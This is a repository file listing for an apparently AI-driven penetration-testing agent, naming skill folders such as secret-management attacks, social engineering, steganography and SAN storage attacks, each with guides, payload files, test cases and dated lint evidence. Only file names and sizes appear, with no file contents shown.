  • kali-claw-pentest-agent/skills/secret-management-attack/evidence/2026-09-07/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/secret-management-attack/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/secret-management-attack/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/secret-management-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/secret-management-attack/guides/cicd-secret-sprawl-and-sast-rule-deep-dive.mdmarkdown · 47.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/secret-management-attack/guides/secret-management-attack-playbook.mdmarkdown · 29.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/secret-management-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/secret-management-attack/guides/vault-and-cloud-kms-attack-playbook.mdmarkdown · 33.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/secret-management-attack/payloads.mdmarkdown · 47.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/secret-management-attack/test-cases.mdmarkdown · 45.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/SKILL.mdmarkdown · 12.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/evidence/2026-09-04/lint.jsoncode · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/evidence/2026-09-07/lint.jsoncode · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/evidence/2026-09-08/lint.jsoncode · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/guides/attack-surface-discovery-guide.mdmarkdown · 14.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/guides/bounty-hunting-methodology.mdmarkdown · 15.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/guides/bug-bounty-automation.mdmarkdown · 20.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/guides/bug-bounty-report-writing-guide.mdmarkdown · 13.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/guides/poc-development-guide.mdmarkdown · 12.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/guides/report-writing-bounty-guide.mdmarkdown · 9.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/guides/responsible-disclosure-workflow.mdmarkdown · 15.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/guides/scope-recon-guide.mdmarkdown · 10.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/payloads.mdmarkdown · 32.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-bounty-hunter/test-cases.mdmarkdown · 24.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/SKILL.mdmarkdown · 17.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/evidence/2026-09-07/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/guides/cloud-misconfiguration-audit-guide.mdmarkdown · 16.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/guides/cloud-misconfiguration-checklist-guide.mdmarkdown · 14.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/guides/debug-endpoint-discovery-guide.mdmarkdown · 15.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/guides/default-credential-audit-guide.mdmarkdown · 13.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/guides/default-credential-scanning-guide.mdmarkdown · 16.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/guides/security_misconfiguration_complete_guide.mdmarkdown · 26.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/guides/web-server-hardening-guide.mdmarkdown · 16.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/guides/web-server-hardening-lab-guide.mdmarkdown · 15.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/payloads.mdmarkdown · 28.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-misconfiguration/test-cases.mdmarkdown · 12.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-review/SKILL.mdmarkdown · 9.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-review/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-review/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-review/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-review/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-review/guides/code-review-security-patterns-guide.mdmarkdown · 15.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-review/guides/dependency-audit-guide.mdmarkdown · 7.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-review/guides/owasp-audit-methodology.mdmarkdown · 21.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-review/guides/sast-tool-comparison-guide.mdmarkdown · 7.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-review/guides/secure-code-review-checklist-guide.mdmarkdown · 8.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-review/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-review/payloads.mdmarkdown · 31.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/security-review/test-cases.mdmarkdown · 24.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-engineering/SKILL.mdmarkdown · 18.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-engineering/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-engineering/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-engineering/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-engineering/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-engineering/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-engineering/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-engineering/guides/2026-03-21-social-engineering-tools.mdmarkdown · 4.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-engineering/guides/phishing-campaign-design-guide.mdmarkdown · 8.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-engineering/guides/pretexting-techniques-guide.mdmarkdown · 8.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-engineering/guides/social-engineering-cli-reference.mdmarkdown · 10.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-engineering/guides/social-engineering-defense-guide.mdmarkdown · 9.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-engineering/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-engineering/payloads.mdmarkdown · 49.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-engineering/test-cases.mdmarkdown · 12.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/SKILL.mdmarkdown · 14.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/guides/community-monitoring-guide.mdmarkdown · 31.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/guides/osint-automation-pipeline-guide.mdmarkdown · 12.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/guides/reddit-hackernews-osint.mdmarkdown · 30.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/guides/sentiment-analysis.mdmarkdown · 7.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/guides/social-graph-analysis-guide.mdmarkdown · 31.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/guides/social-network-mapping-guide.mdmarkdown · 10.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/guides/target-profiling-guide.mdmarkdown · 36.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/guides/twitter-youtube-osint.mdmarkdown · 40.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/payloads.mdmarkdown · 63.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/social-intelligence/test-cases.mdmarkdown · 25.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/steganography/SKILL.mdmarkdown · 19.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/steganography/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/steganography/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/steganography/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/steganography/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/steganography/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/steganography/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/steganography/guides/audio-video-steganography-guide.mdmarkdown · 8.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/steganography/guides/ctf-steganography-challenge-guide.mdmarkdown · 10.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/steganography/guides/network-protocol-steganography-guide.mdmarkdown · 7.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/steganography/guides/steganography-techniques-detection-guide.mdmarkdown · 8.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/steganography/guides/steghide-stegcracker-practical-guide.mdmarkdown · 10.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/steganography/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/steganography/payloads.mdmarkdown · 41.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/steganography/test-cases.mdmarkdown · 16.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/storage-san-attack/SKILL.mdmarkdown · 29.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/storage-san-attack/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/storage-san-attack/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/storage-san-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/storage-san-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/storage-san-attack/guides/storage-san-attack-playbook.mdmarkdown · 40.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/storage-san-attack/guides/storage-san-attack-real-world-incident-case-studies.mdmarkdown · 22.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/storage-san-attack/guides/storage-san-attack-vendor-deep.mdmarkdown · 71.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/storage-san-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/storage-san-attack/payloads.mdmarkdown · 66.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/storage-san-attack/test-cases.mdmarkdown · 20.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/supply-chain-security/SKILL.mdmarkdown · 14.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/supply-chain-security/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/supply-chain-security/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/supply-chain-security/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/supply-chain-security/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/supply-chain-security/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/supply-chain-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/supply-chain-security/guides/build-pipeline-security-guide.mdmarkdown · 8.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/supply-chain-security/guides/dependency-confusion-attack-guide.mdmarkdown · 8.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/supply-chain-security/guides/package-integrity-verification-guide.mdmarkdown · 10.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/supply-chain-security/guides/software-bill-of-materials-guide.mdmarkdown · 9.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/supply-chain-security/guides/software_supply_chain_complete_guide.mdmarkdown · 5.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/supply-chain-security/guides/supply_chain_scanner.pycode · 11.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/supply-chain-security/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/supply-chain-security/payloads.mdmarkdown · 36.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/supply-chain-security/test-cases.mdmarkdown · 13.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/terminal-ops/SKILL.mdmarkdown · 9.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/terminal-ops/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/terminal-ops/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/terminal-ops/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/terminal-ops/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/terminal-ops/guides/evidence-first-execution.mdmarkdown · 22.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/terminal-ops/guides/terminal-automation-scripting-guide.mdmarkdown · 4.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/terminal-ops/guides/terminal-forensics-evidence-guide.mdmarkdown · 2.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/terminal-ops/guides/terminal-network-operations-guide.mdmarkdown · 3.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/terminal-ops/guides/terminal-session-management-guide.mdmarkdown · 9.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/terminal-ops/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/terminal-ops/payloads.mdmarkdown · 35.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/terminal-ops/test-cases.mdmarkdown · 37.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-hunting/SKILL.mdmarkdown · 33.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-hunting/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-hunting/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-hunting/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-hunting/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-hunting/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-hunting/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-hunting/guides/hunt-hypothesis-playbook.mdmarkdown · 28.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-hunting/guides/sigma-rule-development-playbook.mdmarkdown · 27.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-hunting/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-hunting/payloads.mdmarkdown · 36.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-hunting/test-cases.mdmarkdown · 24.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-intel-platform-attack/SKILL.mdmarkdown · 20.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-intel-platform-attack/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-intel-platform-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-intel-platform-attack/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-intel-platform-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-intel-platform-attack/guides/real-world-incident-case-studies.mdmarkdown · 15.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-intel-platform-attack/guides/threat-intel-platform-attack-playbook.mdmarkdown · 12.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-intel-platform-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-intel-platform-attack/payloads.mdmarkdown · 31.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/threat-intel-platform-attack/test-cases.mdmarkdown · 21.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/tool-mastery/SKILL.mdmarkdown · 16.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/tool-mastery/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/tool-mastery/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/tool-mastery/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/tool-mastery/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/tool-mastery/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/tool-mastery/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/tool-mastery/guides/tool-combination-guide.mdmarkdown · 6.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/tool-mastery/guides/tool-proficiency-framework-guide.mdmarkdown · 7.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/tool-mastery/guides/tool-selection-by-phase-guide.mdmarkdown · 8.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/tool-mastery/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/tool-mastery/payloads.mdmarkdown · 33.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/tool-mastery/test-cases.mdmarkdown · 16.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/uav-drone-security/SKILL.mdmarkdown · 27.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/uav-drone-security/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/uav-drone-security/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/uav-drone-security/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/uav-drone-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/uav-drone-security/guides/uav-drone-security-playbook.mdmarkdown · 34.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/uav-drone-security/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/uav-drone-security/payloads.mdmarkdown · 72.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/uav-drone-security/test-cases.mdmarkdown · 24.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/username-profiling/SKILL.mdmarkdown · 23.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/username-profiling/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/username-profiling/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/username-profiling/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/username-profiling/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/username-profiling/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/username-profiling/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/username-profiling/guides/maigret-username-dossier.mdmarkdown · 33.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/username-profiling/guides/maigret-username-workshop.mdmarkdown · 45.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/username-profiling/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/username-profiling/guides/username-profiling-deep-dive.mdmarkdown · 44.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/username-profiling/payloads.mdmarkdown · 51.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/username-profiling/test-cases.mdmarkdown · 24.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/verification-loop/SKILL.mdmarkdown · 10.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/verification-loop/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/verification-loop/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/verification-loop/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/verification-loop/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/verification-loop/guides/automated-exploit-verification-guide.mdmarkdown · 11.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/verification-loop/guides/continuous-security-validation-guide.mdmarkdown · 11.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/verification-loop/guides/cross-tool-verification-guide.mdmarkdown · 23.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/verification-loop/guides/false-positive-triage-guide.mdmarkdown · 20.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/verification-loop/guides/finding-documentation-evidence-guide.mdmarkdown · 27.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/verification-loop/guides/finding-verification-methodology.mdmarkdown · 32.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/verification-loop/guides/regression-testing-security-guide.mdmarkdown · 12.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/verification-loop/guides/remediation-verification-patterns-guide.mdmarkdown · 12.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/verification-loop/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/verification-loop/payloads.mdmarkdown · 31.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/verification-loop/test-cases.mdmarkdown · 19.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/voip-sip-attack/SKILL.mdmarkdown · 10.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/voip-sip-attack/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/voip-sip-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/voip-sip-attack/evidence/2026-09-05/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/voip-sip-attack/evidence/2026-09-05/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/voip-sip-attack/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/voip-sip-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/voip-sip-attack/guides/sip-device-recon.mdmarkdown · 6.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/voip-sip-attack/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

